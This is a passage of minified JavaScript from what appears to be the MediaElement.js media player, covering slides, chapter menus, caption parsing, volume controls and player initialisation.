o=n.slides.entries[e].text,r=n.slides.entries[e].imgs;if(void 0===r||void 0===r.fadeIn){var a=i.default.createElement("img");a.src=o,a.addEventListener("load",function(){var e=t,o=(0,c.siblings)(e,function(e){return o(e)});e.style.display="none",n.slidesContainer.innerHTML+=e.innerHTML,(0,c.fadeIn)(n.slidesContainer.querySelector(a));for(var i=0,r=o.length;i<r;i++)(0,c.fadeOut)(o[i],400)}),n.slides.entries[e].imgs=r=a}else if(!(0,c.visible)(r)){var s=(0,c.siblings)(self,function(e){return s(e)});(0,c.fadeIn)(n.slidesContainer.querySelector(r));for(var l=0,d=s.length;l<d;l++)(0,c.fadeOut)(s[l])}}},displaySlides:function(){var e=this;if(void 0!==this.slides){var t=e.slides,n=e.searchTrackPosition(t.entries,e.media.currentTime);n>-1&&e.showSlide(n)}},drawChapters:function(e){var t=this,n=e.entries.length;if(n){t.chaptersButton.querySelector("ul").innerHTML="";for(var o=0;o<n;o++)t.chaptersButton.querySelector("ul").innerHTML+='<li class="'+t.options.classPrefix+'chapters-selector-list-item" role="menuitemcheckbox" aria-live="polite" aria-disabled="false" aria-checked="false"><input type="radio" class="'+t.options.classPrefix+'captions-selector-input" name="'+t.id+'_chapters" id="'+t.id+"_chapters_"+o+'" value="'+e.entries[o].start+'" disabled><label class="'+t.options.classPrefix+'chapters-selector-label"for="'+t.id+"_chapters_"+o+'">'+e.entries[o].text+"</label></li>";for(var i=t.chaptersButton.querySelectorAll('input[type="radio"]'),r=t.chaptersButton.querySelectorAll("."+t.options.classPrefix+"chapters-selector-label"),a=0,s=i.length;a<s;a++)i[a].disabled=!1,i[a].checked=!1,i[a].addEventListener("click",function(e){var n=this,o=t.chaptersButton.querySelectorAll("li"),i=(0,c.siblings)(n,function(e){return(0,c.hasClass)(e,t.options.classPrefix+"chapters-selector-label")})[0];n.checked=!0,n.parentNode.setAttribute("aria-checked",!0),(0,c.addClass)(i,t.options.classPrefix+"chapters-selected"),(0,c.removeClass)(t.chaptersButton.querySelector("."+t.options.classPrefix+"chapters-selected"),t.options.classPrefix+"chapters-selected");for(var r=0,a=o.length;r<a;r++)o[r].setAttribute("aria-checked",!1);void 0===(e.keyCode||e.which)&&setTimeout(function(){t.getElement(t.container).focus()},500),t.media.setCurrentTime(parseFloat(n.value)),t.media.paused&&t.media.play()});for(var l=0,d=r.length;l<d;l++)r[l].addEventListener("click",function(e){var t=(0,c.siblings)(this,function(e){return"INPUT"===e.tagName})[0],n=(0,u.createEvent)("click",t);t.dispatchEvent(n),e.preventDefault()})}},searchTrackPosition:function(e,t){for(var n=0,o=e.length-1,i=void 0,r=void 0,a=void 0;n<=o;){if(i=n+o>>1,r=e[i].start,a=e[i].stop,t>=r&&t<a)return i;r<t?n=i+1:r>t&&(o=i-1)}return-1}}),r.default.language={codes:{af:"mejs.afrikaans",sq:"mejs.albanian",ar:"mejs.arabic",be:"mejs.belarusian",bg:"mejs.bulgarian",ca:"mejs.catalan",zh:"mejs.chinese","zh-cn":"mejs.chinese-simplified","zh-tw":"mejs.chines-traditional",hr:"mejs.croatian",cs:"mejs.czech",da:"mejs.danish",nl:"mejs.dutch",en:"mejs.english",et:"mejs.estonian",fl:"mejs.filipino",fi:"mejs.finnish",fr:"mejs.french",gl:"mejs.galician",de:"mejs.german",el:"mejs.greek",ht:"mejs.haitian-creole",iw:"mejs.hebrew",hi:"mejs.hindi",hu:"mejs.hungarian",is:"mejs.icelandic",id:"mejs.indonesian",ga:"mejs.irish",it:"mejs.italian",ja:"mejs.japanese",ko:"mejs.korean",lv:"mejs.latvian",lt:"mejs.lithuanian",mk:"mejs.macedonian",ms:"mejs.malay",mt:"mejs.maltese",no:"mejs.norwegian",fa:"mejs.persian",pl:"mejs.polish",pt:"mejs.portuguese",ro:"mejs.romanian",ru:"mejs.russian",sr:"mejs.serbian",sk:"mejs.slovak",sl:"mejs.slovenian",es:"mejs.spanish",sw:"mejs.swahili",sv:"mejs.swedish",tl:"mejs.tagalog",th:"mejs.thai",tr:"mejs.turkish",uk:"mejs.ukrainian",vi:"mejs.vietnamese",cy:"mejs.welsh",yi:"mejs.yiddish"}},r.default.TrackFormatParser={webvtt:{pattern:/^((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{1,3})?) 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0,p={start:null,stop:null,style:null,text:null};if(n.eq(u).attr("begin")&&(p.start=(0,d.convertSMPTEtoSeconds)(n.eq(u).attr("begin"))),!p.start&&n.eq(u-1).attr("end")&&(p.start=(0,d.convertSMPTEtoSeconds)(n.eq(u-1).attr("end"))),n.eq(u).attr("end")&&(p.stop=(0,d.convertSMPTEtoSeconds)(n.eq(u).attr("end"))),!p.stop&&n.eq(u+1).attr("begin")&&(p.stop=(0,d.convertSMPTEtoSeconds)(n.eq(u+1).attr("begin"))),r){f="";for(var m in r)f+=m+":"+r[m]+";"}f&&(p.style=f),0===p.start&&(p.start=.2),p.text=n.eq(u).innerHTML.trim().replace(/(\b(https?|ftp|file):\/\/[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/gi,"<a href='$1' target='_blank'>$1</a>"),i.push(p)}return i}}}},{16:16,2:2,26:26,27:27,30:30,5:5,7:7}],14:[function(e,t,n){"use strict";function o(e){return e&&e.__esModule?e:{default:e}}var i=o(e(2)),r=e(16),a=o(r),s=o(e(5)),l=e(25),d=e(27),u=e(26);Object.assign(r.config,{muteText:null,unmuteText:null,allyVolumeControlText:null,hideVolumeOnTouchDevices:!0,audioVolume:"horizontal",videoVolume:"vertical",startVolume:.8}),Object.assign(a.default.prototype,{buildvolume:function(e,t,n,o){if(!l.IS_ANDROID&&!l.IS_IOS||!this.options.hideVolumeOnTouchDevices){var a=this,c=a.isVideo?a.options.videoVolume:a.options.audioVolume,f=(0,d.isString)(a.options.muteText)?a.options.muteText:s.default.t("mejs.mute"),p=(0,d.isString)(a.options.unmuteText)?a.options.unmuteText:s.default.t("mejs.unmute"),m=(0,d.isString)(a.options.allyVolumeControlText)?a.options.allyVolumeControlText:s.default.t("mejs.volume-help-text"),h=i.default.createElement("div");if(h.className=a.options.classPrefix+"button "+a.options.classPrefix+"volume-button "+a.options.classPrefix+"mute",h.innerHTML="horizontal"===c?'<button type="button" aria-controls="'+a.id+'" title="'+f+'" aria-label="'+f+'" tabindex="0"></button>':'<button type="button" aria-controls="'+a.id+'" title="'+f+'" aria-label="'+f+'" tabindex="0"></button><a href="javascript:void(0);" class="'+a.options.classPrefix+'volume-slider" aria-label="'+s.default.t("mejs.volume-slider")+'" aria-valuemin="0" aria-valuemax="100" role="slider" aria-orientation="vertical"><span class="'+a.options.classPrefix+'offscreen">'+m+'</span><div class="'+a.options.classPrefix+'volume-total"><div class="'+a.options.classPrefix+'volume-current"></div><div class="'+a.options.classPrefix+'volume-handle"></div></div></a>',a.addControlElement(h,"volume"),a.options.keyActions.push({keys:[38],action:function(e){var t=e.getElement(e.container).querySelector("."+r.config.classPrefix+"volume-slider");(t||e.getElement(e.container).querySelector("."+r.config.classPrefix+"volume-slider").matches(":focus"))&&(t.style.display="block"),e.isVideo&&(e.showControls(),e.startControlsTimer());var n=Math.min(e.volume+.1,1);e.setVolume(n),n>0&&e.setMuted(!1)}},{keys:[40],action:function(e){var t=e.getElement(e.container).querySelector("."+r.config.classPrefix+"volume-slider");t&&(t.style.display="block"),e.isVideo&&(e.showControls(),e.startControlsTimer());var n=Math.max(e.volume-.1,0);e.setVolume(n),n<=.1&&e.setMuted(!0)}},{keys:[77],action:function(e){e.getElement(e.container).querySelector("."+r.config.classPrefix+"volume-slider").style.display="block",e.isVideo&&(e.showControls(),e.startControlsTimer()),e.media.muted?e.setMuted(!1):e.setMuted(!0)}}),"horizontal"===c){var v=i.default.createElement("a");v.className=a.options.classPrefix+"horizontal-volume-slider",v.href="javascript:void(0);",v.setAttribute("aria-label",s.default.t("mejs.volume-slider")),v.setAttribute("aria-valuemin",0),v.setAttribute("aria-valuemax",100),v.setAttribute("role","slider"),v.innerHTML+='<span class="'+a.options.classPrefix+'offscreen">'+m+'</span><div class="'+a.options.classPrefix+'horizontal-volume-total"><div class="'+a.options.classPrefix+'horizontal-volume-current"></div><div class="'+a.options.classPrefix+'horizontal-volume-handle"></div></div>',h.parentNode.insertBefore(v,h.nextSibling)}var g=!1,y=!1,E=!1,b=function(){var e=Math.floor(100*o.volume);S.setAttribute("aria-valuenow",e),S.setAttribute("aria-valuetext",e+"%")},S="vertical"===c?a.getElement(a.container).querySelector("."+a.options.classPrefix+"volume-slider"):a.getElement(a.container).querySelector("."+a.options.classPrefix+"horizontal-volume-slider"),x="vertical"===c?a.getElement(a.container).querySelector("."+a.options.classPrefix+"volume-total"):a.getElement(a.container).querySelector("."+a.options.classPrefix+"horizontal-volume-total"),w="vertical"===c?a.getElement(a.container).querySelector("."+a.options.classPrefix+"volume-current"):a.getElement(a.container).querySelector("."+a.options.classPrefix+"horizontal-volume-current"),P="vertical"===c?a.getElement(a.container).querySelector("."+a.options.classPrefix+"volume-handle"):a.getElement(a.container).querySelector("."+a.options.classPrefix+"horizontal-volume-handle"),T=function(e){if(null!==e&&!isNaN(e)&&void 0!==e){if(e=Math.max(0,e),0===(e=Math.min(e,1))){(0,u.removeClass)(h,a.options.classPrefix+"mute"),(0,u.addClass)(h,a.options.classPrefix+"unmute");var t=h.firstElementChild;t.setAttribute("title",p),t.setAttribute("aria-label",p)}else{(0,u.removeClass)(h,a.options.classPrefix+"unmute"),(0,u.addClass)(h,a.options.classPrefix+"mute");var n=h.firstElementChild;n.setAttribute("title",f),n.setAttribute("aria-label",f)}var o=100*e+"%",i=getComputedStyle(P);"vertical"===c?(w.style.bottom=0,w.style.height=o,P.style.bottom=o,P.style.marginBottom=-parseFloat(i.height)/2+"px"):(w.style.left=0,w.style.width=o,P.style.left=o,P.style.marginLeft=-parseFloat(i.width)/2+"px")}},C=function(e){var t=(0,u.offset)(x),n=getComputedStyle(x);E=!0;var o=null;if("vertical"===c){var i=parseFloat(n.height);if(o=(i-(e.pageY-t.top))/i,0===t.top||0===t.left)return}else{var r=parseFloat(n.width);o=(e.pageX-t.left)/r}o=Math.max(0,o),o=Math.min(o,1),T(o),a.setMuted(0===o),a.setVolume(o),e.preventDefault(),e.stopPropagation()},k=function(){a.muted?(T(0),(0,u.removeClass)(h,a.options.classPrefix+"mute"),(0,u.addClass)(h,a.options.classPrefix+"unmute")):(T(o.volume),(0,u.removeClass)(h,a.options.classPrefix+"unmute"),(0,u.addClass)(h,a.options.classPrefix+"mute"))};e.getElement(e.container).addEventListener("keydown",function(e){!!e.target.closest("."+a.options.classPrefix+"container")||"vertical"!==c||(S.style.display="none")}),h.addEventListener("mouseenter",function(e){e.target===h&&(S.style.display="block",y=!0,e.preventDefault(),e.stopPropagation())}),h.addEventListener("focusin",function(){S.style.display="block",y=!0}),h.addEventListener("focusout",function(e){e.relatedTarget&&(!e.relatedTarget||e.relatedTarget.matches("."+a.options.classPrefix+"volume-slider"))||"vertical"!==c||(S.style.display="none")}),h.addEventListener("mouseleave",function(){y=!1,g||"vertical"!==c||(S.style.display="none")}),h.addEventListener("focusout",function(){y=!1}),h.addEventListener("keydown",function(e){if(a.options.keyActions.length){var t=e.which||e.keyCode||0,n=o.volume;switch(t){case 38:n=Math.min(n+.1,1);break;case 40:n=Math.max(0,n-.1);break;default:return!0}g=!1,T(n),o.setVolume(n),e.preventDefault(),e.stopPropagation()}}),h.querySelector("button").addEventListener("click",function(){o.setMuted(!o.muted);var e=(0,d.createEvent)("volumechange",o);o.dispatchEvent(e)}),S.addEventListener("dragstart",function(){return!1}),S.addEventListener("mouseover",function(){y=!0}),S.addEventListener("focusin",function(){S.style.display="block",y=!0}),S.addEventListener("focusout",function(){y=!1,g||"vertical"!==c||(S.style.display="none")}),S.addEventListener("mousedown",function(e){C(e),a.globalBind("mousemove.vol",function(e){var t=e.target;g&&(t===S||t.closest("vertical"===c?"."+a.options.classPrefix+"volume-slider":"."+a.options.classPrefix+"horizontal-volume-slider"))&&C(e)}),a.globalBind("mouseup.vol",function(){g=!1,y||"vertical"!==c||(S.style.display="none")}),g=!0,e.preventDefault(),e.stopPropagation()}),o.addEventListener("volumechange",function(e){g||k(),b()});var _=!1;o.addEventListener("rendererready",function(){E||setTimeout(function(){_=!0,(0===e.options.startVolume||o.originalNode.muted)&&(o.setMuted(!0),e.options.startVolume=0),o.setVolume(e.options.startVolume),a.setControlsSize()},250)}),o.addEventListener("loadedmetadata",function(){setTimeout(function(){E||_||((0===e.options.startVolume||o.originalNode.muted)&&(o.setMuted(!0),e.options.startVolume=0),o.setVolume(e.options.startVolume),a.setControlsSize()),_=!1},250)}),(0===e.options.startVolume||o.originalNode.muted)&&(o.setMuted(!0),e.options.startVolume=0,k()),a.getElement(a.container).addEventListener("controlsresize",function(){k()})}}})},{16:16,2:2,25:25,26:26,27:27,5:5}],15:[function(e,t,n){"use strict";Object.defineProperty(n,"__esModule",{value:!0});n.EN={"mejs.plural-form":1,"mejs.download-file":"Download File","mejs.install-flash":"You are using a browser that does not have Flash player enabled or installed. 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y=n.config={poster:"",showPosterWhenEnded:!1,showPosterWhenPaused:!1,defaultVideoWidth:480,defaultVideoHeight:270,videoWidth:-1,videoHeight:-1,defaultAudioWidth:400,defaultAudioHeight:40,defaultSeekBackwardInterval:function(e){return.05*e.getDuration()},defaultSeekForwardInterval:function(e){return.05*e.getDuration()},setDimensions:!0,audioWidth:-1,audioHeight:-1,loop:!1,autoRewind:!0,enableAutosize:!0,timeFormat:"",alwaysShowHours:!1,showTimecodeFrameCount:!1,framesPerSecond:25,alwaysShowControls:!1,hideVideoControlsOnLoad:!1,hideVideoControlsOnPause:!1,clickToPlayPause:!0,controlsTimeoutDefault:1500,controlsTimeoutMouseEnter:2500,controlsTimeoutMouseLeave:1e3,iPadUseNativeControls:!1,iPhoneUseNativeControls:!1,AndroidUseNativeControls:!1,features:["playpause","current","progress","duration","tracks","volume","fullscreen"],useDefaultControls:!1,isVideo:!0,stretching:"auto",classPrefix:"mejs__",enableKeyboard:!0,pauseOtherPlayers:!0,secondsDecimalLength:0,customError:null,keyActions:[{keys:[32,179],action:function(e){p.IS_FIREFOX||(e.paused||e.ended?e.play():e.pause())}}]};d.default.MepDefaults=y;var E=function(){function e(t,n){i(this,e);var o=this,r="string"==typeof t?l.default.getElementById(t):t;if(!(o instanceof e))return new e(r,n);if(o.node=o.media=r,o.node){if(o.media.player)return o.media.player;if(o.hasFocus=!1,o.controlsAreVisible=!0,o.controlsEnabled=!0,o.controlsTimer=null,o.currentMediaTime=0,o.proxy=null,void 0===n){var a=o.node.getAttribute("data-mejsoptions");n=a?JSON.parse(a):{}}return o.options=Object.assign({},y,n),o.options.loop&&!o.media.getAttribute("loop")?(o.media.loop=!0,o.node.loop=!0):o.media.loop&&(o.options.loop=!0),o.options.timeFormat||(o.options.timeFormat="mm:ss",o.options.alwaysShowHours&&(o.options.timeFormat="hh:mm:ss"),o.options.showTimecodeFrameCount&&(o.options.timeFormat+=":ff")),(0,h.calculateTimeFormat)(0,o.options,o.options.framesPerSecond||25),o.id="mep_"+d.default.mepIndex++,d.default.players[o.id]=o,o.init(),o}}return a(e,[{key:"getElement",value:function(e){return e}},{key:"init",value:function(){var e=this,t=Object.assign({},e.options,{success:function(t,n){e._meReady(t,n)},error:function(t){e._handleError(t)}}),n=e.node.tagName.toLowerCase();if(e.isDynamic="audio"!==n&&"video"!==n&&"iframe"!==n,e.isVideo=e.isDynamic?e.options.isVideo:"audio"!==n&&e.options.isVideo,e.mediaFiles=null,e.trackFiles=null,p.IS_IPAD&&e.options.iPadUseNativeControls||p.IS_IPHONE&&e.options.iPhoneUseNativeControls)e.node.setAttribute("controls",!0),p.IS_IPAD&&e.node.getAttribute("autoplay")&&e.play();else if(!e.isVideo&&(e.isVideo||!e.options.features.length&&!e.options.useDefaultControls)||p.IS_ANDROID&&e.options.AndroidUseNativeControls)e.isVideo||e.options.features.length||e.options.useDefaultControls||(e.node.style.display="none");else{e.node.removeAttribute("controls");var o=e.isVideo?f.default.t("mejs.video-player"):f.default.t("mejs.audio-player"),i=l.default.createElement("span");if(i.className=e.options.classPrefix+"offscreen",i.innerText=o,e.media.parentNode.insertBefore(i,e.media),e.container=l.default.createElement("div"),e.getElement(e.container).id=e.id,e.getElement(e.container).className=e.options.classPrefix+"container "+e.options.classPrefix+"container-keyboard-inactive "+e.media.className,e.getElement(e.container).tabIndex=0,e.getElement(e.container).setAttribute("role","application"),e.getElement(e.container).setAttribute("aria-label",o),e.getElement(e.container).innerHTML='<div class="'+e.options.classPrefix+'inner"><div class="'+e.options.classPrefix+'mediaelement"></div><div class="'+e.options.classPrefix+'layers"></div><div class="'+e.options.classPrefix+'controls"></div></div>',e.getElement(e.container).addEventListener("focus",function(t){if(!e.controlsAreVisible&&!e.hasFocus&&e.controlsEnabled){e.showControls(!0);var n=(0,m.isNodeAfter)(t.relatedTarget,e.getElement(e.container))?"."+e.options.classPrefix+"controls ."+e.options.classPrefix+"button:last-child > button":"."+e.options.classPrefix+"playpause-button > button";e.getElement(e.container).querySelector(n).focus()}}),e.node.parentNode.insertBefore(e.getElement(e.container),e.node),e.options.features.length||e.options.useDefaultControls||(e.getElement(e.container).style.background="transparent",e.getElement(e.container).querySelector("."+e.options.classPrefix+"controls").style.display="none"),e.isVideo&&"fill"===e.options.stretching&&!g.hasClass(e.getElement(e.container).parentNode,e.options.classPrefix+"fill-container")){e.outerContainer=e.media.parentNode;var r=l.default.createElement("div");r.className=e.options.classPrefix+"fill-container",e.getElement(e.container).parentNode.insertBefore(r,e.getElement(e.container)),r.appendChild(e.getElement(e.container))}if(p.IS_ANDROID&&g.addClass(e.getElement(e.container),e.options.classPrefix+"android"),p.IS_IOS&&g.addClass(e.getElement(e.container),e.options.classPrefix+"ios"),p.IS_IPAD&&g.addClass(e.getElement(e.container),e.options.classPrefix+"ipad"),p.IS_IPHONE&&g.addClass(e.getElement(e.container),e.options.classPrefix+"iphone"),g.addClass(e.getElement(e.container),e.isVideo?e.options.classPrefix+"video":e.options.classPrefix+"audio"),p.IS_SAFARI&&!p.IS_IOS){g.addClass(e.getElement(e.container),e.options.classPrefix+"hide-cues");for(var a=e.node.cloneNode(),s=e.node.children,c=[],h=[],y=0,E=s.length;y<E;y++){var b=s[y];!function(){switch(b.tagName.toLowerCase()){case"source":var e={};Array.prototype.slice.call(b.attributes).forEach(function(t){e[t.name]=t.value}),e.type=(0,v.formatType)(e.src,e.type),c.push(e);break;case"track":b.mode="hidden",h.push(b);break;default:a.appendChild(b)}}()}e.node.remove(),e.node=e.media=a,c.length&&(e.mediaFiles=c),h.length&&(e.trackFiles=h)}e.getElement(e.container).querySelector("."+e.options.classPrefix+"mediaelement").appendChild(e.node),e.media.player=e,e.controls=e.getElement(e.container).querySelector("."+e.options.classPrefix+"controls"),e.layers=e.getElement(e.container).querySelector("."+e.options.classPrefix+"layers");var S=e.isVideo?"video":"audio",x=S.substring(0,1).toUpperCase()+S.substring(1);e.options[S+"Width"]>0||e.options[S+"Width"].toString().indexOf("%")>-1?e.width=e.options[S+"Width"]:""!==e.node.style.width&&null!==e.node.style.width?e.width=e.node.style.width:e.node.getAttribute("width")?e.width=e.node.getAttribute("width"):e.width=e.options["default"+x+"Width"],e.options[S+"Height"]>0||e.options[S+"Height"].toString().indexOf("%")>-1?e.height=e.options[S+"Height"]:""!==e.node.style.height&&null!==e.node.style.height?e.height=e.node.style.height:e.node.getAttribute("height")?e.height=e.node.getAttribute("height"):e.height=e.options["default"+x+"Height"],e.initialAspectRatio=e.height>=e.width?e.width/e.height:e.height/e.width,e.setPlayerSize(e.width,e.height),t.pluginWidth=e.width,t.pluginHeight=e.height}if(d.default.MepDefaults=t,new u.default(e.media,t,e.mediaFiles),void 0!==e.getElement(e.container)&&e.options.features.length&&e.controlsAreVisible&&!e.options.hideVideoControlsOnLoad){var w=(0,m.createEvent)("controlsshown",e.getElement(e.container));e.getElement(e.container).dispatchEvent(w)}}},{key:"showControls",value:function(e){var t=this;if(e=void 0===e||e,!t.controlsAreVisible&&t.isVideo){if(e)!function(){g.fadeIn(t.getElement(t.controls),200,function(){g.removeClass(t.getElement(t.controls),t.options.classPrefix+"offscreen");var e=(0,m.createEvent)("controlsshown",t.getElement(t.container));t.getElement(t.container).dispatchEvent(e)});for(var e=t.getElement(t.container).querySelectorAll("."+t.options.classPrefix+"control"),n=0,o=e.length;n<o;n++)!function(n,o){g.fadeIn(e[n],200,function(){g.removeClass(e[n],t.options.classPrefix+"offscreen")})}(n)}();else{g.removeClass(t.getElement(t.controls),t.options.classPrefix+"offscreen"),t.getElement(t.controls).style.display="",t.getElement(t.controls).style.opacity=1;for(var n=t.getElement(t.container).querySelectorAll("."+t.options.classPrefix+"control"),o=0,i=n.length;o<i;o++)g.removeClass(n[o],t.options.classPrefix+"offscreen"),n[o].style.display="";var r=(0,m.createEvent)("controlsshown",t.getElement(t.container));t.getElement(t.container).dispatchEvent(r)}t.controlsAreVisible=!0,t.setControlsSize()}}},{key:"hideControls",value:function(e,t){var n=this;if(e=void 0===e||e,!0===t||!(!n.controlsAreVisible||n.options.alwaysShowControls||n.paused&&4===n.readyState&&(!n.options.hideVideoControlsOnLoad&&n.currentTime<=0||!n.options.hideVideoControlsOnPause&&n.currentTime>0)||n.isVideo&&!n.options.hideVideoControlsOnLoad&&!n.readyState||n.ended)){if(e)!function(){g.fadeOut(n.getElement(n.controls),200,function(){g.addClass(n.getElement(n.controls),n.options.classPrefix+"offscreen"),n.getElement(n.controls).style.display="";var e=(0,m.createEvent)("controlshidden",n.getElement(n.container));n.getElement(n.container).dispatchEvent(e)});for(var e=n.getElement(n.container).querySelectorAll("."+n.options.classPrefix+"control"),t=0,o=e.length;t<o;t++)!function(t,o){g.fadeOut(e[t],200,function(){g.addClass(e[t],n.options.classPrefix+"offscreen"),e[t].style.display=""})}(t)}();else{g.addClass(n.getElement(n.controls),n.options.classPrefix+"offscreen"),n.getElement(n.controls).style.display="",n.getElement(n.controls).style.opacity=0;for(var o=n.getElement(n.container).querySelectorAll("."+n.options.classPrefix+"control"),i=0,r=o.length;i<r;i++)g.addClass(o[i],n.options.classPrefix+"offscreen"),o[i].style.display="";var a=(0,m.createEvent)("controlshidden",n.getElement(n.container));n.getElement(n.container).dispatchEvent(a)}n.controlsAreVisible=!1}}},{key:"startControlsTimer",value:function(e){var t=this;e=void 0!==e?e:t.options.controlsTimeoutDefault,t.killControlsTimer("start"),t.controlsTimer=setTimeout(function(){t.hideControls(),t.killControlsTimer("hide")},e)}},{key:"killControlsTimer",value:function(){var e=this;null!==e.controlsTimer&&(clearTimeout(e.controlsTimer),delete e.controlsTimer,e.controlsTimer=null)}},{key:"disableControls",value:function(){var e=this;e.killControlsTimer(),e.controlsEnabled=!1,e.hideControls(!1,!0)}},{key:"enableControls",value:function(){var e=this;e.controlsEnabled=!0,e.showControls(!1)}},{key:"_setDefaultPlayer",value:function(){var e=this;e.proxy&&e.proxy.pause(),e.proxy=new c.default(e),e.media.addEventListener("loadedmetadata",function(){e.getCurrentTime()>0&&e.currentMediaTime>0&&(e.setCurrentTime(e.currentMediaTime),p.IS_IOS||p.IS_ANDROID||e.play())})}},{key:"_meReady",value:function(e,t){var n=this,o=t.getAttribute("autoplay"),i=!(void 0===o||null===o||"false"===o),r=null!==e.rendererName&&/(native|html5)/i.test(n.media.rendererName);if(n.getElement(n.controls)&&n.enableControls(),n.getElement(n.container)&&n.getElement(n.container).querySelector("."+n.options.classPrefix+"overlay-play")&&(n.getElement(n.container).querySelector("."+n.options.classPrefix+"overlay-play").style.display=""),!n.created){if(n.created=!0,n.media=e,n.domNode=t,!(p.IS_ANDROID&&n.options.AndroidUseNativeControls||p.IS_IPAD&&n.options.iPadUseNativeControls||p.IS_IPHONE&&n.options.iPhoneUseNativeControls)){if(!n.isVideo&&!n.options.features.length&&!n.options.useDefaultControls)return i&&r&&n.play(),void(n.options.success&&("string"==typeof n.options.success?s.default[n.options.success](n.media,n.domNode,n):n.options.success(n.media,n.domNode,n)));if(n.featurePosition={},n._setDefaultPlayer(),n.buildposter(n,n.getElement(n.controls),n.getElement(n.layers),n.media),n.buildkeyboard(n,n.getElement(n.controls),n.getElement(n.layers),n.media),n.buildoverlays(n,n.getElement(n.controls),n.getElement(n.layers),n.media),n.options.useDefaultControls){var a=["playpause","current","progress","duration","tracks","volume","fullscreen"];n.options.features=a.concat(n.options.features.filter(function(e){return-1===a.indexOf(e)}))}n.buildfeatures(n,n.getElement(n.controls),n.getElement(n.layers),n.media);var u=(0,m.createEvent)("controlsready",n.getElement(n.container));n.getElement(n.container).dispatchEvent(u),n.setPlayerSize(n.width,n.height),n.setControlsSize(),n.isVideo&&(n.clickToPlayPauseCallback=function(){if(n.options.clickToPlayPause){var e=n.getElement(n.container).querySelector("."+n.options.classPrefix+"overlay-button"),t=e.getAttribute("aria-pressed");n.paused&&t?n.pause():n.paused?n.play():n.pause(),e.setAttribute("aria-pressed",!t),n.getElement(n.container).focus()}},n.createIframeLayer(),n.media.addEventListener("click",n.clickToPlayPauseCallback),!p.IS_ANDROID&&!p.IS_IOS||n.options.alwaysShowControls?(n.getElement(n.container).addEventListener("mouseenter",function(){n.controlsEnabled&&(n.options.alwaysShowControls||(n.killControlsTimer("enter"),n.showControls(),n.startControlsTimer(n.options.controlsTimeoutMouseEnter)))}),n.getElement(n.container).addEventListener("mousemove",function(){n.controlsEnabled&&(n.controlsAreVisible||n.showControls(),n.options.alwaysShowControls||n.startControlsTimer(n.options.controlsTimeoutMouseEnter))}),n.getElement(n.container).addEventListener("mouseleave",function(){n.controlsEnabled&&(n.paused||n.options.alwaysShowControls||n.startControlsTimer(n.options.controlsTimeoutMouseLeave))})):n.node.addEventListener("touchstart",function(){n.controlsAreVisible?n.hideControls(!1):n.controlsEnabled&&n.showControls(!1)},!!p.SUPPORT_PASSIVE_EVENT&&{passive:!0}),n.options.hideVideoControlsOnLoad&&n.hideControls(!1),n.options.enableAutosize&&n.media.addEventListener("loadedmetadata",function(e){var t=void 0!==e?e.detail.target||e.target:n.media;n.options.videoHeight<=0&&!n.domNode.getAttribute("height")&&!n.domNode.style.height&&null!==t&&!isNaN(t.videoHeight)&&(n.setPlayerSize(t.videoWidth,t.videoHeight),n.setControlsSize(),n.media.setSize(t.videoWidth,t.videoHeight))})),n.media.addEventListener("play",function(){n.hasFocus=!0;for(var e in d.default.players)if(d.default.players.hasOwnProperty(e)){var t=d.default.players[e];t.id===n.id||!n.options.pauseOtherPlayers||t.paused||t.ended||(t.pause(),t.hasFocus=!1)}p.IS_ANDROID||p.IS_IOS||n.options.alwaysShowControls||!n.isVideo||n.hideControls()}),n.media.addEventListener("ended",function(){if(n.options.autoRewind)try{n.setCurrentTime(0),setTimeout(function(){var e=n.getElement(n.container).querySelector("."+n.options.classPrefix+"overlay-loading");e&&e.parentNode&&(e.parentNode.style.display="none")},20)}catch(e){}"function"==typeof n.media.renderer.stop?n.media.renderer.stop():n.pause(),n.setProgressRail&&n.setProgressRail(),n.setCurrentRail&&n.setCurrentRail(),n.options.loop?n.play():!n.options.alwaysShowControls&&n.controlsEnabled&&n.showControls()}),n.media.addEventListener("loadedmetadata",function(){(0,h.calculateTimeFormat)(n.getDuration(),n.options,n.options.framesPerSecond||25),n.updateDuration&&n.updateDuration(),n.updateCurrent&&n.updateCurrent(),n.isFullScreen||(n.setPlayerSize(n.width,n.height),n.setControlsSize())});var c=null;n.media.addEventListener("timeupdate",function(){isNaN(n.getDuration())||c===n.getDuration()||(c=n.getDuration(),(0,h.calculateTimeFormat)(c,n.options,n.options.framesPerSecond||25),n.updateDuration&&n.updateDuration(),n.updateCurrent&&n.updateCurrent(),n.setControlsSize())}),n.getElement(n.container).addEventListener("click",function(e){g.addClass(e.currentTarget,n.options.classPrefix+"container-keyboard-inactive")}),n.getElement(n.container).addEventListener("focusin",function(e){g.removeClass(e.currentTarget,n.options.classPrefix+"container-keyboard-inactive"),!n.isVideo||p.IS_ANDROID||p.IS_IOS||!n.controlsEnabled||n.options.alwaysShowControls||(n.killControlsTimer("enter"),n.showControls(),n.startControlsTimer(n.options.controlsTimeoutMouseEnter))}),n.getElement(n.container).addEventListener("focusout",function(e){setTimeout(function(){e.relatedTarget&&n.keyboardAction&&!e.relatedTarget.closest("."+n.options.classPrefix+"container")&&(n.keyboardAction=!1,!n.isVideo||n.options.alwaysShowControls||n.paused||n.startControlsTimer(n.options.controlsTimeoutMouseLeave))},0)}),setTimeout(function(){n.setPlayerSize(n.width,n.height),n.setControlsSize()},0),n.globalResizeCallback=function(){n.isFullScreen||p.HAS_TRUE_NATIVE_FULLSCREEN&&l.default.webkitIsFullScreen||n.setPlayerSize(n.width,n.height),n.setControlsSize()},n.globalBind("resize",n.globalResizeCallback)}i&&r&&n.play(),n.options.success&&("string"==typeof n.options.success?s.default[n.options.success](n.media,n.domNode,n):n.options.success(n.media,n.domNode,n))}}},{key:"_handleError",value:function(e,t,n){var o=this,i=o.getElement(o.layers).querySelector("."+o.options.classPrefix+"overlay-play");i&&(i.style.display="none"),o.options.error&&o.options.error(e,t,n),o.getElement(o.container).querySelector("."+o.options.classPrefix+"cannotplay")&&o.getElement(o.container).querySelector("."+o.options.classPrefix+"cannotplay").remove();var r=l.default.createElement("div");r.className=o.options.classPrefix+"cannotplay",r.style.width="100%",r.style.height="100%";var a="function"==typeof o.options.customError?o.options.customError(o.media,o.media.originalNode):o.options.customError,s="";if(!a){var u=o.media.originalNode.getAttribute("poster");if(u&&(s='<img src="'+u+'" alt="'+d.default.i18n.t("mejs.download-file")+'">'),e.message&&(a="<p>"+e.message+"</p>"),e.urls)for(var 